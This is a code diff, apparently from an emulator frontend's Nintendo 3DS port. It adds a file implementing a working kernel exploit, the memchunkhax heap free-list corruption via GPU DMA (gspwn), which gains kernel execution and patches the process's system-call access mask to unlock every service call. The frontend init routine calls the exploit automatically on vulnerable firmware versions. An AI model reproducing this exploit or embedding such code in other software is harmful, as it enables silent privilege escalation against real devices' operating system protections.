diff --git a/Makefile.ctr b/Makefile.ctr
index 1005e506420d..32b795953b37 100644
--- a/Makefile.ctr
+++ b/Makefile.ctr
@@ -28,6 +28,7 @@ OBJS += ctr/stack_adjust.o
 OBJS += ctr/ctr_system.o
 OBJS += ctr/ctr_memory.o
 OBJS += ctr/ctr_linear.o
+OBJS += ctr/ctr_svchax.o
 
 ifeq ($(GRIFFIN_BUILD), 1)
 	OBJS += griffin/griffin.o
diff --git a/ctr/ctr_svchax.c b/ctr/ctr_svchax.c
new file mode 100644
index 000000000000..c81d7875b8b1
--- /dev/null
+++ b/ctr/ctr_svchax.c
@@ -0,0 +1,145 @@
+
+#include <3ds.h>
+#include <string.h>
+
+static void svchax_gspwn(u32 dst, u32 src, u32 size, u8* flush_buffer)
+{
+   extern Handle gspEvents[GSPEVENT_MAX];
+
+   memcpy(flush_buffer, flush_buffer + 0x4000, 0x4000);
+   GSPGPU_InvalidateDataCache(dst, size);
+   GSPGPU_FlushDataCache(src, size);
+   memcpy(flush_buffer, flush_buffer + 0x4000, 0x4000);
+
+   svcClearEvent(gspEvents[GSPEVENT_PPF]);
+	GX_TextureCopy(src, 0, dst, 0, size, 8);
+   svcWaitSynchronization(gspEvents[GSPEVENT_PPF], U64_MAX);
+
+   memcpy(flush_buffer, flush_buffer + 0x4000, 0x4000);
+}
+
+/* pseudo-code:
+ * if(val2)
+ * {
+ *    *(u32*)val1 = val2;
+ *    *(u32*)(val2 + 8) = (val1 - 4);
+ * }
+ * else
+ *    *(u32*)val1 = 0x0;
+ */
+
+// X-X--X-X
+// X-XXXX-X
+
+static void memchunkhax_write_pair(u32 val1, u32 val2)
+{
+   u32 linear_buffer;
+   u8* flush_buffer;
+   u32 tmp;
+
+   u32* next_ptr3;
+   u32* prev_ptr3;
+
+   u32* next_ptr1;
+   u32* prev_ptr6;
+
+   svcControlMemory(&linear_buffer, 0, 0, 0x10000, MEMOP_ALLOC_LINEAR, MEMPERM_READ | MEMPERM_WRITE);
+
+   flush_buffer = (u8*)(linear_buffer + 0x8000);
+
+   svcControlMemory(&tmp, linear_buffer + 0x1000, 0, 0x1000, MEMOP_FREE, 0);
+   svcControlMemory(&tmp, linear_buffer + 0x3000, 0, 0x2000, MEMOP_FREE, 0);
+   svcControlMemory(&tmp, linear_buffer + 0x6000, 0, 0x1000, MEMOP_FREE, 0);
+
+   next_ptr1 = (u32*)(linear_buffer + 0x0004);
+   svchax_gspwn(linear_buffer + 0x0000, linear_buffer + 0x1000, 16, flush_buffer);
+
+   next_ptr3 = (u32*)(linear_buffer + 0x2004);
+   prev_ptr3 = (u32*)(linear_buffer + 0x2008);
+   svchax_gspwn(linear_buffer + 0x2000, linear_buffer + 0x3000, 16, flush_buffer);
+
+   prev_ptr6 = (u32*)(linear_buffer + 0x5008);
+   svchax_gspwn(linear_buffer + 0x5000, linear_buffer + 0x6000, 16, flush_buffer);
+
+   *next_ptr1 = *next_ptr3;
+   *prev_ptr6 = *prev_ptr3;
+
+   *prev_ptr3 = val1 - 4;
+   *next_ptr3 = val2;
+   svchax_gspwn(linear_buffer + 0x3000, linear_buffer + 0x2000, 16, flush_buffer);
+   svcControlMemory(&tmp, 0, 0, 0x2000, MEMOP_ALLOC_LINEAR, MEMPERM_READ | MEMPERM_WRITE);
+
+   svchax_gspwn(linear_buffer + 0x1000, linear_buffer + 0x0000, 16, flush_buffer);
+   svchax_gspwn(linear_buffer + 0x6000, linear_buffer + 0x5000, 16, flush_buffer);
+
+   svcControlMemory(&tmp, linear_buffer + 0x0000, 0, 0x1000, MEMOP_FREE, 0);
+   svcControlMemory(&tmp, linear_buffer + 0x2000, 0, 0x4000, MEMOP_FREE, 0);
+   svcControlMemory(&tmp, linear_buffer + 0x7000, 0, 0x9000, MEMOP_FREE, 0);
+
+}
+
+
+static inline u32 get_7B_access_ctrl_ptr(void)
+{
+   register u32 r0 __asm__("r0");
+	__asm__ volatile (
+       "sub r0, sp, #8 \n\t"
+       "mov r1, #1 \n\t"
+       "mov r2, #0 \n\t"
+       "svc	0x2A \n\t"
+       "orr r0, r1, #0xF00 \n\t"
+       "bic r0, r0, #0x0FF \n\t"
+       "add r0, r0, #0x044 \n\t"
+       :::"r0","r1","r2");
+	return r0;
+}
+
+static u32 saved_vram_value;
+
+static s32 k_restore_vram_value(void)
+{
+   __asm__ volatile("cpsid aif \n\t");
+
+   *(u32*)0x1F000008 = saved_vram_value;
+
+   return 0;
+}
+
+static s32 k_enable_all_svc(void)
+{
+   __asm__ volatile("cpsid aif");
+
+   u32*  svc_access_control = *(*(u32***)0xFFFF9000 + 0x22) - 0x6;
+
+   svc_access_control[0]=0xFFFFFFFE;
+   svc_access_control[1]=0xFFFFFFFF;
+   svc_access_control[2]=0xFFFFFFFF;
+   svc_access_control[3]=0x3FFFFFFF;
+
+   return 0;
+}
+
+u32 __ctr_svchax = 0;
+
+void svchax_init(void)
+{
+   extern u32 __service_ptr;
+
+   if (__ctr_svchax)
+      return;
+
+   if(__service_ptr)
+   {
+      if((*(u8*)0x1FF80002 > 0x2F) || (*(u8*)0x1FF80003 != 0x2))
+         return;
+
+      saved_vram_value = *(u32*)0x1F000008;
+      memchunkhax_write_pair(get_7B_access_ctrl_ptr(), 0x1F000000);
+      svcBackdoor(k_restore_vram_value);
+   }
+
+   svcBackdoor(k_enable_all_svc);
+
+   __ctr_svchax = 1;
+
+}
diff --git a/frontend/drivers/platform_ctr.c b/frontend/drivers/platform_ctr.c
index 9b93a19bf0bb..7e4b1714536e 100644
--- a/frontend/drivers/platform_ctr.c
+++ b/frontend/drivers/platform_ctr.c
@@ -213,6 +213,8 @@ static void ctr_check_dspfirm(void)
    }
 }
 
+void svchax_init(void);
+
 static void frontend_ctr_init(void *data)
 {
 #ifndef IS_SALAMANDER
@@ -224,9 +226,13 @@ static void frontend_ctr_init(void *data)
    APT_SetAppCpuTimeLimit(NULL, 80);
 #endif
    osSetSpeedupEnable(true);
-   gfxInit(GSP_BGR8_OES,GSP_RGB565_OES,false);
+   gfxInit(GSP_BGR8_OES,GSP_RGB565_OES,false);   
    gfxSet3D(false);
    consoleInit(GFX_BOTTOM, NULL);
+
+   /* enable access to all service calls when possible. */
+   svchax_init();
+
    audio_driver_t* dsp_audio_driver = &audio_ctr_dsp;
    if(csndInit() != 0)
    {